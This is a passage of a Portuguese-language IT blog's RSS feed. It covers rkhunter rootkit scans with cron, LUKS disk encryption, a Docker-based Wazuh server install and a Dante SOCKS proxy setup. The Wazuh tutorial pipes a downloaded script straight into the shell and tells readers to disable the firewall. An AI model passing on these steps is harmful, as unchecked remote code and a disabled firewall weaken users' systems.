    /usr/bin/df                                              [ OK ]
    /usr/bin/diff                                            [ OK ]
    /usr/bin/dirname                                         [ OK ]
    /usr/bin/dmesg                                           [ OK ]
    /usr/bin/dpkg                                            [ OK ]
    /usr/bin/dpkg-query                                      [ OK ]
    /usr/bin/du                                              [ OK ]
    /usr/bin/echo                                            [ OK ]
    /usr/bin/ed                                              [ OK ]
    /usr/bin/egrep                                           [ OK ]
    /usr/bin/env                                             [ OK ]
    /usr/bin/fgrep                                           [ OK ]
    /usr/bin/file                                            [ OK ]
    /usr/bin/find                                            [ OK ]
    /usr/bin/fuser                                           [ OK ]
    /usr/bin/grep                                            [ OK ]
    /usr/bin/groups                                          [ OK ]
    /usr/bin/head                                            [ OK ]
    /usr/bin/id                                              [ OK ]
    /usr/bin/ip                                              [ OK ]
    /usr/bin/ipcs                                            [ OK ]
    /usr/bin/kill                                            [ OK ]
    /usr/bin/killall                                         [ OK ]
    /usr/bin/last                                            [ OK ]
    /usr/bin/lastlog                                         [ OK ]
    /usr/bin/ldd                                             [ OK ]
    /usr/bin/less                                            [ OK ]
    /usr/bin/logger                                          [ OK ]
    /usr/bin/login                                           [ OK ]
    /usr/bin/ls                                              [ OK ]
    /usr/bin/lsattr                                          [ OK ]
    /usr/bin/lsmod                                           [ OK ]
    /usr/bin/lsof                                            [ OK ]
    /usr/bin/mail                                            [ OK ]
    /usr/bin/md5sum                                          [ OK ]
    /usr/bin/mktemp                                          [ OK ]
    /usr/bin/more                                            [ OK ]
    /usr/bin/mount                                           [ OK ]
    /usr/bin/mv                                              [ OK ]
    /usr/bin/netstat                                         [ OK ]
    /usr/bin/newgrp                                          [ OK ]
    /usr/bin/passwd                                          [ OK ]
    /usr/bin/perl                                            [ OK ]
    /usr/bin/pgrep                                           [ OK ]
    /usr/bin/ping                                            [ OK ]
    /usr/bin/pkill                                           [ OK ]
    /usr/bin/ps                                              [ OK ]
    /usr/bin/pstree                                          [ OK ]
    /usr/bin/pwd                                             [ OK ]
    /usr/bin/readlink                                        [ OK ]
    /usr/bin/rkhunter                                        [ OK ]
    /usr/bin/runcon                                          [ OK ]
    /usr/bin/sed                                             [ OK ]
    /usr/bin/sh                                              [ OK ]
    /usr/bin/sha1sum                                         [ OK ]
    /usr/bin/sha224sum                                       [ OK ]
    /usr/bin/sha256sum                                       [ OK ]
    /usr/bin/sha384sum                                       [ OK ]
    /usr/bin/sha512sum                                       [ OK ]
    /usr/bin/size                                            [ OK ]
    /usr/bin/sort                                            [ OK ]
    /usr/bin/ssh                                             [ OK ]
    /usr/bin/stat                                            [ OK ]
    /usr/bin/strace                                          [ OK ]
    /usr/bin/strings                                         [ OK ]
    /usr/bin/su                                              [ OK ]
    /usr/bin/sudo                                            [ OK ]
    /usr/bin/tail                                            [ OK ]
    /usr/bin/telnet                                          [ OK ]
    /usr/bin/test                                            [ OK ]
    /usr/bin/top                                             [ OK ]
    /usr/bin/touch                                           [ OK ]
    /usr/bin/tr                                              [ OK ]
    /usr/bin/uname                                           [ OK ]
    /usr/bin/uniq                                            [ OK ]
    /usr/bin/users                                           [ OK ]
    /usr/bin/vmstat                                          [ OK ]
    /usr/bin/w                                               [ OK ]
    /usr/bin/watch                                           [ OK ]
    /usr/bin/wc                                              [ OK ]
    /usr/bin/wget                                            [ OK ]
    /usr/bin/whatis                                          [ OK ]
    /usr/bin/whereis                                         [ OK ]
    /usr/bin/which                                           [ OK ]
    /usr/bin/who                                             [ OK ]
    /usr/bin/whoami                                          [ OK ]
    /usr/bin/numfmt                                          [ OK ]
    /usr/bin/kmod                                            [ OK ]
    /usr/bin/systemd                                         [ OK ]
    /usr/bin/systemctl                                       [ OK ]
    /usr/bin/gawk                                            [ OK ]
    /usr/bin/bsd-mailx                                       [ OK ]
    /usr/bin/dash                                            [ OK ]
    /usr/bin/x86_64-linux-gnu-size                           [ OK ]
    /usr/bin/x86_64-linux-gnu-strings                        [ OK ]
    /usr/bin/telnet.netkit                                   [ OK ]
    /usr/bin/which.debianutils                               [ OK ]
    /usr/lib/systemd/systemd                                 [ OK ]

[Pressione  para continuar]

...

[Pressione  para continuar]

Resumo das verificações do sistema
==================================

Verificações de propriedades dos ficheiros...
    Ficheiros verificados: 142
    Ficheiros suspeitos: 0

Verificações de rootkits...
    Rootkits verificados: 498
    Rootkits possíveis: 0

Verificações de aplicações...
    Todas as verificações foram omitidas

As verificações do sistema demoraram: 4 minutos e 25 segundos

Todos os resultados foram escritos no ficheiro de log: /var/log/rkhunter.log

Foram encontrados um ou mais avisos durante a verificação do sistema.
Por favor, verifique o ficheiro de log (/var/log/rkhunter.log)
</pre>
<h2>Automatização de Varreduras com Cron</h2>
<p>Para garantir que o nosso sistema se mantenha seguro, é uma boa ideia programar varreduras automáticas. Podemos fazer isso editando o ficheiro /etc/crontab para adicionar os trabalhos necessários do cron. Não esqueça de modificar o email de destino para receber os alertas.</p>
<pre>vi /etc/crontab</pre>
<p>Adicione as seguintes linhas ao ficheiro:</p>
<pre>0 3 * * * root /usr/bin/rkhunter --update &gt;&gt; /var/log/rkhunter_update.log 2&gt;&amp;1
0 2 * * * root /usr/bin/rkhunter --cronjob --update --report-warnings-only | mail -s "Varredura Diária do RKHunter" seu-email@example.com
</pre>
<p>Com isto, configuramos um trabalho cron que atualizará o RKHunter diariamente às 3 da manhã e realizará uma varredura diária às 2 da manhã, enviando um relatório por email apenas se forem encontrados avisos.</p>
<p><iframe width="560" height="315" src="https://www.youtube.com/embed/XLwq1cwujHk?si=vOkPHC-ljvYviHMx" title="Reprodutor de vídeo do YouTube" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe></p>
<p>La entrada <a href="https://aprendeit.com/pt/como-proteger-o-seu-sistema-linux-guia-definitivo-para-instalar-e-usar-o-rkhunter/">Como Proteger o Seu Sistema Linux: Guia Definitivo para Instalar e Usar o RKHunter</a> se publicó primero en <a href="https://aprendeit.com/pt/aprende-it">Aprende IT</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://aprendeit.com/pt/como-proteger-o-seu-sistema-linux-guia-definitivo-para-instalar-e-usar-o-rkhunter/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Cifragem de Partições e Discos com LUKS em Linux</title>
		<link>https://aprendeit.com/pt/cifragem-de-particoes-e-discos-com-luks-em-linux/</link>
					<comments>https://aprendeit.com/pt/cifragem-de-particoes-e-discos-com-luks-em-linux/#respond</comments>
		
		<dc:creator><![CDATA[Gerardo G. Urtiaga]]></dc:creator>
		<pubDate>Sun, 12 May 2024 17:08:05 +0000</pubDate>
				<category><![CDATA[Basico-Linux]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Sistemas]]></category>
		<guid isPermaLink="false">https://aprendeit.com/?p=6245</guid>

					<description><![CDATA[<p>Bem-vindo ao fascinante mundo da cifragem de partições e discos em Linux usando LUKS (Linux Unified Key Setup). Neste capítulo, vamos explorar em detalhe como utilizar o LUKS para proteger ...</p>
<p>La entrada <a href="https://aprendeit.com/pt/cifragem-de-particoes-e-discos-com-luks-em-linux/">Cifragem de Partições e Discos com LUKS em Linux</a> se publicó primero en <a href="https://aprendeit.com/pt/aprende-it">Aprende IT</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Bem-vindo ao fascinante mundo da cifragem de partições e discos em Linux usando LUKS (Linux Unified Key Setup). Neste capítulo, vamos explorar em detalhe como utilizar o LUKS para proteger os teus dados sensíveis através da cifragem dos teus discos e partições. Desde a instalação das ferramentas necessárias até ao manuseio de comandos especializados, vou guiar-te passo a passo por este processo crucial para a segurança dos teus dados.</p>
<h2>Instalação de Ferramentas Necessárias</h2>
<p>Antes de mergulharmos no mundo da cifragem com LUKS, é essencial garantir que tens as ferramentas adequadas instaladas no teu sistema. Geralmente, a maioria das distribuições de Linux inclui estas ferramentas de cifragem por padrão, mas é sempre bom verificar.</p>
<p>Podes instalar as ferramentas necessárias utilizando o gestor de pacotes da tua distribuição. Em distribuições baseadas em Debian, como Ubuntu, podes executar o seguinte comando no terminal:</p>
<pre>sudo apt install cryptsetup</pre>
<p>Se estás a utilizar uma distribuição baseada em Red Hat, como Fedora ou CentOS, podes instalar as ferramentas de cifragem com o seguinte comando:</p>
<pre>sudo dnf install cryptsetup</pre>
<p>Uma vez que tenhas instalado o cryptsetup, estarás pronto para começar a trabalhar com LUKS.</p>
<h2>Criação de um Volume LUKS</h2>
<p>O primeiro passo para cifrar uma partição ou disco em Linux é criar um volume LUKS. Este volume atuará como uma camada de cifragem que protegerá os dados armazenados na partição ou disco.</p>
<p>Para criar um volume LUKS, precisarás especificar a partição ou disco que desejas cifrar. Certifica-te de que a partição está desmontada antes de prosseguir. Suponhamos que queremos cifrar a partição /dev/sdb1. O seguinte comando criará um volume LUKS nesta partição:</p>
<pre>sudo cryptsetup luksFormat /dev/sdb1</pre>
<p>Este comando iniciará o processo de criação do volume LUKS na partição especificada. Serás solicitado a confirmar esta ação, pois o processo apagará todos os dados existentes na partição. Após confirmar, serás solicitado a introduzir uma senha para desbloquear o volume LUKS no futuro. Certifica-te de escolher uma senha segura e recorda-a bem, pois precisarás dela sempre que quiseres aceder aos dados cifrados.</p>
<p>Uma vez concluído o processo, terás um volume LUKS criado na partição especificada, pronto para ser utilizado.</p>
<h2>Abertura e Fecho do Volume LUKS</h2>
<p>Depois de criar um volume LUKS, o próximo passo é abri-lo para poder aceder aos dados armazenados nele. Para abrir um volume LUKS, precisarás especificar a partição que contém o volume e atribuir-lhe um nome.</p>
<pre>sudo cryptsetup luksOpen /dev/sdb1 minha_particao_cifrada</pre>
<p>Neste comando, /dev/sdb1 é a partição que contém o volume LUKS, e minha_particao_cifrada é o nome que estamos a atribuir ao volume aberto. Uma vez que executes este comando, serás solicitado a introduzir a senha que especificaste durante a criação do volume LUKS. Após introduzir a senha correta, o volume será aberto e estará pronto para ser utilizado.</p>
<p>Para fechar o volume LUKS e bloquear o acesso aos dados cifrados, podes utilizar o seguinte comando:</p>
<pre>sudo cryptsetup luksClose minha_particao_cifrada</pre>
<p>Este comando fechará o volume LUKS com o nome especificado (minha_particao_cifrada neste caso), o que impedirá o acesso aos dados armazenados nele até que seja aberto novamente.</p>
<h2>Criação de um Sistema de Ficheiros num Volume LUKS</h2>
<p>Uma vez que tenhas aberto um volume LUKS, podes criar um sistema de ficheiros nele para começar a armazenar dados de forma segura. Podes utilizar qualquer sistema de ficheiros compatível com Linux, como xfs ou btrfs.</p>
<p>Suponhamos que queremos criar um sistema de ficheiros xfs no volume LUKS aberto (minha_particao_cifrada). O seguinte comando criará um sistema de ficheiros xfs no volume:</p>
<pre>sudo mkfs.xfs /dev/mapper/minha_particao_cifrada</pre>
<p>Este comando formatará o volume LUKS aberto com um sistema de ficheiros xfs, o que te permitirá começar a armazenar dados nele de forma segura.</p>
<h2>Montagem e Desmontagem de um Volume LUKS</h2>
<p>Uma vez que tenhas criado um sistema de ficheiros num volume LUKS, podes montá-lo no sistema de ficheiros para aceder aos dados armazenados nele. Para montar um volume LUKS, podes utilizar o seguinte comando:</p>
<pre>sudo mount /dev/mapper/minha_particao_cifrada /mnt</pre>
<p>Neste comando, /dev/mapper/minha_particao_cifrada é o caminho para o dispositivo de bloco que representa o volume LUKS aberto, e /mnt é o ponto de montagem onde o sistema de ficheiros será montado.</p>
<p>Depois de montar o volume LUKS, podes aceder aos dados armazenados nele como farias com qualquer outro sistema de ficheiros montado em Linux. Quando terminares de trabalhar com os dados, podes desmontar o volume LUKS utilizando o seguinte comando:</p>
<pre>sudo umount /mnt</pre>
<p>Este comando desmontará o sistema de ficheiros do volume LUKS, o que evitará que acedas aos dados armazenados nele até que seja montado novamente.</p>
<h2>Gestão de Volumes LUKS</h2>
<p>O LUKS fornece várias ferramentas para gerir volumes, incluindo a capacidade de mudar a senha, adicionar chaves adicionais e fazer backups dos cabeçalhos dos volumes.</p>
<p>Para mudar a senha de um volume LUKS, podes utilizar o seguinte comando:</p>
<pre>sudo cryptsetup luksChangeKey /dev/sdb1</pre>
<p>Este comando pedirá a senha atual do volume LUKS e depois permitirá introduzir uma nova senha.</p>
<p>Se desejas adicionar uma chave adicional ao volume LUKS, podes utilizar o seguinte comando:</p>
<pre>sudo cryptsetup luksAddKey /dev/sdb1</pre>
<p>Este comando pedirá a senha atual do volume LUKS e depois permitirá introduzir uma nova chave adicional.</p>
<p>Para fazer um backup do cabeçalho de um volume LUKS, podes utilizar o seguinte comando:</p>
<pre>sudo cryptsetup luksHeaderBackup /dev/sdb1 --header-backup-file backup_file</pre>
<p>Este comando fará um backup do cabeçalho do volume LUKS para o ficheiro especificado, permitindo restaurá-lo caso o cabeçalho do volume se danifique.</p>
<h2>Resumo de Comandos para Criar Volume Cifrado com LUKS</h2>
<pre>sudo cryptsetup luksFormat /dev/DISCO
sudo cryptsetup luksOpen /dev/DISCO DISCO_DESCIFRADO
sudo mkfs.xfs /dev/mapper/DISCO_DESCIFRADO
sudo mount /dev/mapper/DISCO_DESCIFRADO /caminho_de_montagem</pre>
<h2>Integração com crypttab e fstab</h2>
<p>Uma vez que tenhas cifrado uma partição ou disco utilizando LUKS em Linux, podes querer configurar a abertura automática do contêiner LUKS durante o arranque do sistema e montá-lo num ponto específico do sistema de ficheiros. Isto pode ser conseguido utilizando os ficheiros de configuração crypttab e fstab.</p>
<h3>Configuração de crypttab</h3>
<p>O ficheiro crypttab é utilizado para configurar o mapeamento automático de dispositivos cifrados durante o processo de arranque do sistema. Podes especificar os dispositivos cifrados e as suas correspondentes chaves de cifragem neste ficheiro.</p>
<p>Para configurar um dispositivo cifrado no crypttab, primeiro precisas conhecer o UUID (Identificador Único Universal) do contêiner LUKS. Podes encontrar o UUID executando o seguinte comando:</p>
<pre>sudo cryptsetup luksUUID /dev/sdb1</pre>
<p>Uma vez que tenhas o UUID do contêiner LUKS, podes adicionar uma entrada no ficheiro crypttab para configurar o mapeamento automático. Por exemplo, suponhamos que o UUID do contêiner LUKS é 12345678-1234-1234-1234-123456789abc. Podes adicionar a seguinte entrada no ficheiro crypttab:</p>
<pre>minha_particao_cifrada UUID=12345678-1234-1234-1234-123456789abc none luks</pre>
<p>Também pode ser feito desta forma sem usar o UUID:</p>
<pre>minha_particao_cifrada /dev/sdb1 none luks</pre>
<p>Nesta entrada, minha_particao_cifrada é o nome que demos ao contêiner LUKS, e UUID=12345678-1234-1234-1234-123456789abc é o UUID do contêiner. A palavra none indica que não é utilizada uma chave pré-compartilhada, e luks especifica que o dispositivo está cifrado com LUKS.</p>
<h3>Configuração de fstab</h3>
<p>Uma vez que tenhas configurado o mapeamento automático do dispositivo cifrado no crypttab, podes configurar a montagem automática do sistema de ficheiros no fstab. O ficheiro fstab é utilizado para configurar a montagem automática de sistemas de ficheiros durante o arranque do sistema.</p>
<p>Para configurar a montagem automática de um sistema de ficheiros no fstab, primeiro precisas conhecer o ponto de montagem e o tipo de sistema de ficheiros do contêiner LUKS. Suponhamos que o ponto de montagem é /mnt/minha_particao e o sistema de ficheiros é xfs. Podes adicionar uma entrada no ficheiro fstab da seguinte maneira:</p>
<pre>/dev/mapper/minha_particao_cifrada /mnt/minha_particao xfs defaults 0 2</pre>
<p>Nesta entrada, /dev/mapper/minha_particao_cifrada é o caminho para o dispositivo de bloco que representa o contêiner LUKS aberto, /mnt/minha_particao é o ponto de montagem onde o sistema de ficheiros será montado, xfs é o tipo de sistema de ficheiros, defaults especifica as opções de montagem por defeito, e 0 2 especifica as opções de verificação do sistema de ficheiros.</p>
<h3>Recomendações com crypttab</h3>
<p>No caso de um servidor, eu não teria o crypttab ativo, ou seja, deixaria a configuração posta mas comentada, tal como com o fstab. Faria as montagens de forma manual após um reinício. Assim evitamos ter de usar ficheiros de chave e prevenir alguns problemas derivados.</p>
<p><iframe title="YouTube video player" src="https://www.youtube.com/embed/ixfH3Q9QTnw?si=OICHXXKT0GdquIz2" width="560" height="315" frameborder="0" allowfullscreen="allowfullscreen"></iframe></p>
<p>La entrada <a href="https://aprendeit.com/pt/cifragem-de-particoes-e-discos-com-luks-em-linux/">Cifragem de Partições e Discos com LUKS em Linux</a> se publicó primero en <a href="https://aprendeit.com/pt/aprende-it">Aprende IT</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://aprendeit.com/pt/cifragem-de-particoes-e-discos-com-luks-em-linux/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Instale o Seu Próprio Servidor Wazuh no Ubuntu</title>
		<link>https://aprendeit.com/pt/instale-o-seu-proprio-servidor-wazuh-no-ubuntu/</link>
					<comments>https://aprendeit.com/pt/instale-o-seu-proprio-servidor-wazuh-no-ubuntu/#respond</comments>
		
		<dc:creator><![CDATA[Gerardo G. Urtiaga]]></dc:creator>
		<pubDate>Sat, 27 Apr 2024 22:01:17 +0000</pubDate>
				<category><![CDATA[Contentores]]></category>
		<category><![CDATA[Docker]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[segurança]]></category>
		<guid isPermaLink="false">https://aprendeit.com/?p=6337</guid>

					<description><![CDATA[<p>O Wazuh tornou-se uma ferramenta essencial para a gestão de segurança em sistemas de informação. Graças à sua capacidade de detetar intrusões, assegurar a integridade dos dados e monitorizar a ...</p>
<p>La entrada <a href="https://aprendeit.com/pt/instale-o-seu-proprio-servidor-wazuh-no-ubuntu/">Instale o Seu Próprio Servidor Wazuh no Ubuntu</a> se publicó primero en <a href="https://aprendeit.com/pt/aprende-it">Aprende IT</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>O Wazuh tornou-se uma ferramenta essencial para a gestão de segurança em sistemas de informação. Graças à sua capacidade de detetar intrusões, assegurar a integridade dos dados e monitorizar a segurança, muitas empresas e indivíduos optam por configurar o seu próprio servidor Wazuh. Aqui vou explicar como pode instalar e configurar o seu servidor Wazuh, passo a passo, sem usar listas ou enumerações complicadas.</p>
<h2>O que é o Wazuh e Por Que Deve Usá-lo?</h2>
<p>O Wazuh é uma plataforma de segurança de código aberto que fornece deteção de intrusões, monitorização de integridade, resposta a incidentes e auditoria de conformidade. A sua versatilidade torna-o ideal tanto para pequenas empresas quanto para grandes corporações. Além disso, sendo de código aberto, o Wazuh é completamente gratuito e permite modificações para atender a quaisquer necessidades específicas.</p>
<h2>Preparações Iniciais Antes da Instalação</h2>
<p>Antes de mergulhar na instalação do Wazuh, é crucial que prepare o seu sistema. Isso envolve garantir que o sistema operativo esteja atualizado e configurar o ambiente para suportar a instalação do Wazuh através do Docker. Eis como fazer isso:</p>
<p>Primeiro, é necessário desativar o firewall para impedir que interfira no processo de instalação. Para fazer isso, simplesmente execute no terminal:</p>
<pre>ufw disable</pre>
<p>Este comando desativará o firewall, garantindo que ele não bloqueie nenhuma das conexões necessárias durante a instalação.</p>
<p>Em seguida, deve garantir que todos os pacotes do sistema estejam atualizados e que o git esteja instalado, pois precisará dele para clonar o repositório do Wazuh. Execute:</p>
<pre>apt update &amp;&amp; apt install git</pre>
<p>Com estes comandos, o seu sistema estará atualizado e pronto para a próxima fase.</p>
<h2>Instalando o Docker</h2>
<p>O Wazuh no Docker simplifica a gestão de dependências e garante que a plataforma possa funcionar de forma isolada e segura. Para instalar o Docker, pode usar o script fornecido pelo Docker, que configura tudo automaticamente:</p>
<pre>curl -sSL https://get.docker.com/ | sh</pre>
<p>Uma vez instalado o Docker, é essencial garantir que ele seja executado automaticamente na inicialização do sistema:</p>
<pre>systemctl start docker
systemctl enable docker</pre>
<p>Estes comandos iniciarão o serviço Docker e configurá-lo-ão para iniciar automaticamente a cada arranque do sistema.</p>
<h2>Docker Compose</h2>
<p>Se instalar o Docker conforme indicado anteriormente, não precisa instalar esta ferramenta, mas se já tem o Docker e ele não suporta &#8220;docker compose&#8221;, pode instalar o docker-compose assim:</p>
<pre>curl -L "https://github.com/docker/compose/releases/download/v2.12.2/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
chmod +x /usr/local/bin/docker-compose</pre>
<p>Os comandos seguintes que têm &#8220;docker compose&#8221; devem ser executados como docker-compose.</p>
<p>&nbsp;</p>
<h2>Configurando o Ambiente Wazuh</h2>
<p>Com o Docker já configurado, o próximo passo é preparar o ambiente específico para o Wazuh. Dirija-se ao diretório ótimo para manter organizados os ficheiros relacionados à segurança:</p>
<pre>cd /opt</pre>
<p>Agora, é hora de clonar a versão mais recente do repositório Wazuh para Docker:</p>
<pre>git clone https://github.com/wazuh/wazuh-docker.git -b v4.7.3</pre>
<p>Este comando baixa todos os ficheiros necessários para executar o Wazuh num contêiner Docker.</p>
<h2>Gerando Certificados e Iniciando o Wazuh</h2>
<p>Antes de iniciar o Wazuh, deve gerar os certificados necessários para o bom funcionamento dos componentes do Wazuh. Navegue até o diretório correto e execute o gerador de certificados:</p>
<pre>cd wazuh-docker/single-node/
docker compose -f generate-indexer-certs.yml run --rm generator</pre>
<p>Com os certificados gerados, agora está pronto para iniciar todos os serviços Wazuh:</p>
<pre>docker compose up -d</pre>
<p>Este último comando levanta todos os contêineres necessários para o Wazuh operar corretamente num modo de único nó, ideal para ambientes de teste ou implementações pequenas.</p>
<h2>Verificação da Instalação</h2>
<p>Uma vez concluídos todos os passos anteriores, é importante verificar que tudo está a funcionar conforme esperado. Pode verificar o estado dos contêineres Docker para garantir que todos os serviços Wazuh estão ativos e a funcionar. Além disso, aceda à interface web do Wazuh para começar a explorar as funcionalidades e configurações disponíveis.</p>
<h2>Personalização e Monitorização</h2>
<p>Com o seu servidor Wazuh agora operacional, o próximo passo é personalizar a configuração para adaptá-la às suas necessidades específicas. O Wazuh oferece uma grande variedade de opções para configurar regras, alertas e respostas automáticas a incidentes. Aproveite a documentação disponível para explorar todas as possibilidades que o Wazuh oferece.</p>
<p>Instalar e configurar o seu próprio servidor Wazuh pode parecer uma tarefa complexa, mas seguindo estes passos, terá um sistema robusto de segurança informática sem necessidade de grandes investimentos. Não só melhorará a segurança da sua informação, mas também lhe fornecerá uma ferramenta poderosa para monitorizar e responder proativamente a qualquer incidente.</p>
<h2>Mudança de Senha do Wazuh</h2>
<p>Pare o serviço usando o Docker Compose:</p>
<pre>docker compose down
</pre>
<h3>Gerar o hash da nova senha usando o contêiner Wazuh:</h3>
<p>Execute o seguinte comando para iniciar o script de hash:</p>
<pre>docker run --rm -ti wazuh/wazuh-indexer:4.6.0 bash /usr/share/wazuh-indexer/plugins/opensearch-security/tools/hash.sh</pre>
<p>Digite a nova senha quando solicitado e copie o hash gerado.</p>
<h3>Atualize o ficheiro de utilizadores internos com o hash da nova senha:</h3>
<p>Abra o ficheiro com um editor de texto como o vim:</p>
<pre>vim config/wazuh_indexer/internal_users.yml</pre>
<p>Cole o hash gerado para o utilizador admin.</p>
<h3>Atualize o ficheiro docker-compose.yml com a nova senha:</h3>
<p>Abra o ficheiro docker-compose.yml:</p>
<pre>vim docker-compose.yml</pre>
<p>Digite a nova senha nas linhas 24 e 81 onde diz INDEXER_PASSWORD.</p>
<h3>Levante os serviços novamente com o Docker Compose:</h3>
<pre>docker compose up -d</pre>
<p>Isso reinicia a pilha de serviços.</p>
<h3>Acesse o contêiner e execute o script de segurança:</h3>
<p>Acesse o contêiner:</p>
<pre>docker exec -it single-node-wazuh.indexer-1 bash</pre>
<p>Defina as variáveis e execute o script de segurança:</p>
<pre>export INSTALLATION_DIR=/usr/share/wazuh-indexer
CACERT=$INSTALLATION_DIR/certs/root-ca.pem
KEY=$INSTALLATION_DIR/certs/admin-key.pem
CERT=$INSTALLATION_DIR/certs/admin.pem
export JAVA_HOME=/usr/share/wazuh-indexer/jdk
bash /usr/share/wazuh-indexer/plugins/opensearch-security/tools/securityadmin.sh -cd /usr/share/wazuh-indexer/opensearch-security/ -nhnv -cacert $CACERT -cert $CERT -key $KEY -p 9200 -icl
</pre>
<p>Saia do contêiner:</p>
<pre>exit</pre>
<p>Este processo permite-lhe atualizar a senha do admin para o Wazuh usando o Docker, assegurando que segue todos os passos corretamente para garantir que as alterações sejam eficazes.</p>
<p>La entrada <a href="https://aprendeit.com/pt/instale-o-seu-proprio-servidor-wazuh-no-ubuntu/">Instale o Seu Próprio Servidor Wazuh no Ubuntu</a> se publicó primero en <a href="https://aprendeit.com/pt/aprende-it">Aprende IT</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://aprendeit.com/pt/instale-o-seu-proprio-servidor-wazuh-no-ubuntu/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Criar proxy socks com dante e com openssh</title>
		<link>https://aprendeit.com/pt/criar-proxy-socks-com-dante-e-com-openssh/</link>
					<comments>https://aprendeit.com/pt/criar-proxy-socks-com-dante-e-com-openssh/#respond</comments>
		
		<dc:creator><![CDATA[Gerardo G. Urtiaga]]></dc:creator>
		<pubDate>Mon, 25 Mar 2024 19:17:51 +0000</pubDate>
				<category><![CDATA[Basico-Linux]]></category>
		<category><![CDATA[Redes]]></category>
		<category><![CDATA[segurança]]></category>
		<category><![CDATA[Sistemas]]></category>
		<guid isPermaLink="false">https://aprendeit.com/?p=6231</guid>

					<description><![CDATA[<p>Como criar um proxy SOCKS com Dante no Ubuntu Na era digital, manter a privacidade e segurança online é mais crucial do que nunca. Uma das maneiras de proteger a ...</p>
<p>La entrada <a href="https://aprendeit.com/pt/criar-proxy-socks-com-dante-e-com-openssh/">Criar proxy socks com dante e com openssh</a> se publicó primero en <a href="https://aprendeit.com/pt/aprende-it">Aprende IT</a>.</p>
]]></description>
										<content:encoded><![CDATA[<h2>Como criar um proxy SOCKS com Dante no Ubuntu</h2>
<p>Na era digital, manter a privacidade e segurança online é mais crucial do que nunca. Uma das maneiras de proteger a sua identidade e dados na rede é através do uso de um servidor proxy SOCKS. Este tipo de proxy atua como um intermediário entre o seu dispositivo e a internet, ocultando o seu endereço IP real e cifrando o seu tráfego de internet. Neste artigo, vamos guiá-lo passo a passo sobre como configurar o seu próprio servidor proxy SOCKS no Ubuntu utilizando o Dante, um servidor proxy versátil e de alto desempenho.</p>
<h3>Iniciando a instalação do Dante</h3>
<p>Antes de mergulharmos na configuração do Dante, é essencial preparar o seu sistema e garantir que está atualizado. Para isso, abra um terminal e execute os seguintes comandos:</p>
<pre>sudo apt update
sudo apt install dante-server
</pre>
<p>Estes comandos irão atualizar a lista de pacotes do seu sistema e depois instalar o Dante, respectivamente.</p>
<h3>Configuração do ficheiro danted.conf</h3>
<p>Uma vez instalado o Dante, o próximo passo é configurar o servidor proxy. Isto é feito editando o ficheiro de configuração danted.conf localizado em /etc/danted/. Para isso, use o seu editor de texto preferido. Aqui, vamos usar o vim:</p>
<pre>vim /etc/danted.conf</pre>
<p>Dentro deste ficheiro, deve especificar detalhes cruciais como as interfaces externa e interna, o método de autenticação e as regras de acesso. A seguir, mostramos uma configuração exemplo que pode ajustar de acordo com as suas necessidades:</p>
<pre>logoutput: syslog
user.privileged: root
user.unprivileged: nobody

# A interface externa (pode ser o seu endereço IP público ou o nome da interface)
external: eth0

# A interface interna (geralmente o endereço IP do seu servidor ou loopback)
internal: 0.0.0.0 port=1080

# Método de autenticação
socksmethod: username

# Regras de acesso
client pass {
    from: 0.0.0.0/0 to: 0.0.0.0/0
    log: connect disconnect error
}

# Quem pode utilizar este proxy
socks pass {
    from: 0.0.0.0/0 to: 0.0.0.0/0
    command: bind connect udpassociate
    log: connect disconnect error
    socksmethod: username
}
</pre>
<p>Esta configuração define um servidor SOCKS que escuta em todas as interfaces disponíveis (0.0.0.0) na porta 1080. Utiliza autenticação por nome de utilizador e permite conexões de e para qualquer endereço.</p>
<h3>Criação de um utilizador para o proxy</h3>
<p>Para que o proxy seja seguro e não esteja aberto ao público, é necessário criar um utilizador específico para a conexão. Isto é conseguido com os seguintes comandos:</p>
<pre>sudo useradd -r -s /bin/false nome_utilizador
sudo passwd nome_utilizador
</pre>
<p>Aqui, nome_utilizador é o nome de utilizador que deseja para a conexão ao proxy. O comando useradd cria o utilizador, e passwd permite-lhe atribuir uma palavra-passe.</p>
<h3>Reiniciar e habilitar o serviço Dante</h3>
<p>Com o utilizador criado e o ficheiro de configuração ajustado, é momento de reiniciar o serviço Dante e garantir que ele se execute ao início do sistema:</p>
<pre>sudo systemctl restart danted.service
sudo systemctl enable danted.service
sudo systemctl status danted.service
</pre>
<p>Além disso, é importante garantir que a porta 1080, que é onde escuta o proxy, esteja permitida no firewall:</p>
<pre>sudo ufw allow 1080/tcp
</pre>
<h3>Verificação da conexão</h3>
<p>Finalmente, para verificar se tudo está a funcionar corretamente, pode testar a conexão através do proxy com o seguinte comando:</p>
<pre>curl -v -x socks5://nome_utilizador:password@seu_ip_do_servidor:1080 https://qualemeuip.com/
</pre>
<p>Lembre-se de substituir nome_utilizador, password e seu_ip_do_servidor com as suas informações específicas. Este comando utilizará o seu servidor proxy para aceder a um website que mostra o seu endereço IP público, verificando assim que o tráfego está realmente a ser redirecionado através do proxy SOCKS.</p>
<p>Configurar um servidor proxy SOCKS com Dante pode parecer complexo ao início, mas seguindo estes passos, poderá ter um sistema poderoso</p>
<p>Pode configurar um servidor proxy SOCKS5 utilizando OpenSSH no Ubuntu 22.04, o que é uma alternativa mais simples e direta em certos casos, especialmente para uso pessoal ou em situações onde já tem um servidor SSH configurado. A seguir, explico como fazê-lo:</p>
<h2>Criar um proxy Socks 5 com OpenSSH</h2>
<p>Ao contrário do Dante, com o qual podemos criar um serviço de proxy com autenticação, com OpenSSH, podemos criar um túnel numa porta que pode ser utilizado como proxy socks sem autenticação, pelo que é conveniente utilizá-lo apenas para localhost dentro de um único equipamento (explicaremos isto melhor depois)</p>
